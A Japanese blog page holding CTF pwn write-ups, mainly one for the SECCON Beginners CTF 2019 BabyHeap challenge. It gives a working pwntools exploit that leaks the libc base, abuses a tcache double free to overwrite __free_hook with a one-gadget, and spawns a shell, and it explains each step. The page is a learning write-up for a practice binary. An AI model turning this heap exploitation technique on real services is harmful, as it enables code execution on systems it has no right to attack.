libc_base = puts_got - PUTS_OFF
log.info("libc_base: 0x{:08x}".format(libc_base))

one_shot = libc_base + 0x4f322

payload2 = b""
payload2 += p64(0x0)
payload2 += p64(one_shot) * 0x10

p.recvuntil("Input: ")
p.send(payload2)
time.sleep(1)
p.interactive()

実行結果

f:id:m412u:20190813212320p:plain

おわりに

フラグからわかるようにStack pivotが想定解みたい. もっとPwn頑張りたい.

SECCON Beginners CTF 2019 BabyHeap Writeup

はじめに

5/26(土)〜27(日)でSECCON Beginners CTFが開催されました.自分はPwnを2問と他数問を解いて110位でした.

BabyHeapは時間内に解くことができませんでしたが,その後で自分なりに理解したため,備忘録としてまとめたいと思います.


配布されたファイル

実行ファイルとライブラリが配布されました.

  • babyheap
  • libc-2.27.so


ファイルの調査

$ file babyheap
babyheap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=353667032c4e496b0bbd3621e4821b3bcc1272f6, not stripped
$ checksec.sh --file babyheap
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Full RELRO      Canary found      NX enabled    Not an ELF file   No RPATH   No RUNPATH   babyheap


プログラムの動作

$ ./babyheap 
Welcome to babyheap challenge!
Present for you!!
>>>>> 0x7f54f180ca00 <<<<<

MENU
1. Alloc
2. Delete
3. Wipe
0. Exit
> 

プレゼント

実行するとプレゼントとして_IO_2_1_stdin_のアドレスをもらえます.つまり,もらったアドレスから_IO_2_1_stdin_のオフセットを引くとライブラリのベースアドレスを入手できます.

  • _IO_2_1_stdin_のオフセットは以下の様にすることで求めることができます.
$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep stdin
00000000003eba00 D _IO_2_1_stdin_
00000000003ec850 D stdin


  • 例: 0x7f54f180ca00 - 0x3eba00 = 0x7f54f1421000

MENU

  1. Alloc: mallocで0x30byteの領域を確保し,データを読み込み(※確保した領域へのアドレスを格納した変数ptrがNULLの場合のみ).
  2. Delete: mallocで確保した領域を解放(free).
  3. Wipe: mallocで確保した領域へのアドレスを格納した変数ptrをNULL.
  4. Exit: プログラムを終了.


とりあえず結果

エクスプロイトコード

from pwn import *

stdin_off = 0x3eba00
one_gadget_off = 0x4f322
free_hook_off = 0x3ed8e8

s = remote("localhost", 9999)

s.recvuntil(">>>>> ")
stdin_addr = eval(s.recv(14))
info("stdin_addr: 0x{:08x}".format(stdin_addr))
libc_base = stdin_addr - stdin_off
info("libc_base: 0x{:08x}".format(libc_base))
free_hook = libc_base + free_hook_off
info("free_hook: 0x{:08x}".format(free_hook))
one_gadget = libc_base + one_gadget_off
info("one_gadget: 0x{:08x}".format(one_gadget))

# step1: alloc
s.recvuntil("> ")
s.sendline("1")
s.recvuntil("Input Content: ")
s.sendline("AAAAAAAA")

# step2: free(1回目)
s.recvuntil("> ")
s.sendline("2")

# step3: free(2回目)
s.recvuntil("> ")
s.sendline("2")

# step4: wipe
s.recvuntil("> ")
s.sendline("3")

# step5: alloc
s.recvuntil("> ")
s.sendline("1")
s.recvuntil("Input Content: ")
s.sendline(p64(free_hook))

# step6: wipe
s.recvuntil("> ")
s.sendline("3")

# step7: alloc
s.recvuntil("> ")
s.sendline("1")
s.recvuntil("Input Content: ")
s.sendline("BBBBBBBB")

# step8: wipe
s.recvuntil("> ")
s.sendline("3")

# step9: alloc
s.recvuntil("> ")
s.sendline("1")
s.recvuntil("Input Content: ")
s.sendline(p64(one_gadget))

# step10: free
s.recvuntil("> ")
s.sendline("2")

s.interactive()

実行結果

$ python solve.py 
[+] Opening connection to localhost on port 9999: Done
[*] stdin_addr: 0x7f4e8212aa00
[*] libc_base: 0x7f4e81d3f000
[*] free_hook: 0x7f4e8212c8e8
[*] one_gadget: 0x7f4e81d8e322
[*] Switching to interactive mode
$ id
uid=1000(pochi) gid=1000(pochi) groups=1000(pochi)


処理を追ってみる

step1~10に分けて処理を見ていきたいと思います.

step1

まず,1. Allocを選択してデータAAAAAAAAを入力します.

f:id:m412u:20190601163523p:plain

そうすると,上図のようにアドレス0x555555757250に領域を確保(chunk X とします.)し,データが格納されます.


ちなみに,アドレス0x555555757258の0x41はchunkのサイズとchunkを管理するための情報なので入力したAとは関係ありません.

step2

次に2. Deleteを選択して確保した領域を解放します. 今回のように小さなサイズを解放した場合,tcacheに繋いでfree済みchunkを管理します.

f:id:m412u:20190601164415p:plain


f:id:m412u:20190601170247j:plain

step3

再び2. Deleteを選択して領域を解放するとdouble freeが起こり,chunk Xの前にもう一度同じchunkを繋ぎます.

f:id:m412u:20190601171128p:plain


f:id:m412u:20190601171149j:plain

step4

3. Wipeを選択し,再び1. Allocが可能な状態にします.

step5

1. Allocを選択し,データとして書き込み先のアドレスを格納します.

f:id:m412u:20190601172122j:plain

step3の状態でmallocするとchunk Yが取り外され,そこにデータが書き込まれます.しかし,chunk Yとchunk Xは同一であるため,もちろんchunk Xにもデータが書き込まれます(同じ場所にデータを格納しているだけですが).

step6

3. Wipeを選択し,再び1. Allocが可能な状態にします.

step7

step5の状態でmallocを行うと,chunk Xが取り外されます.すると,tcacheに___free_hookへのアドレスが格納されます.

f:id:m412u:20190601172859j:plain

step8

3. Wipeを選択し,再び1. Allocが可能な状態にします.

step9

step8の状態でmallocを行うと,あたかも__free_hook周辺をchunkであると勘違いしてそこにデータを書き込んでしまいます.

f:id:m412u:20190601173656j:plain

step10

step9の状態でfreeを行うと__free_hookに格納されたonegadget-rceのアドレスが呼び出され,シェルが起動します.

おわりに

疲れた... 資料に間違い等ございましたら,ご指摘いただけると幸いです.


参考にさせていただいたサイト

SECCON Beginners CTF 2019のWriteup - CTFするぞ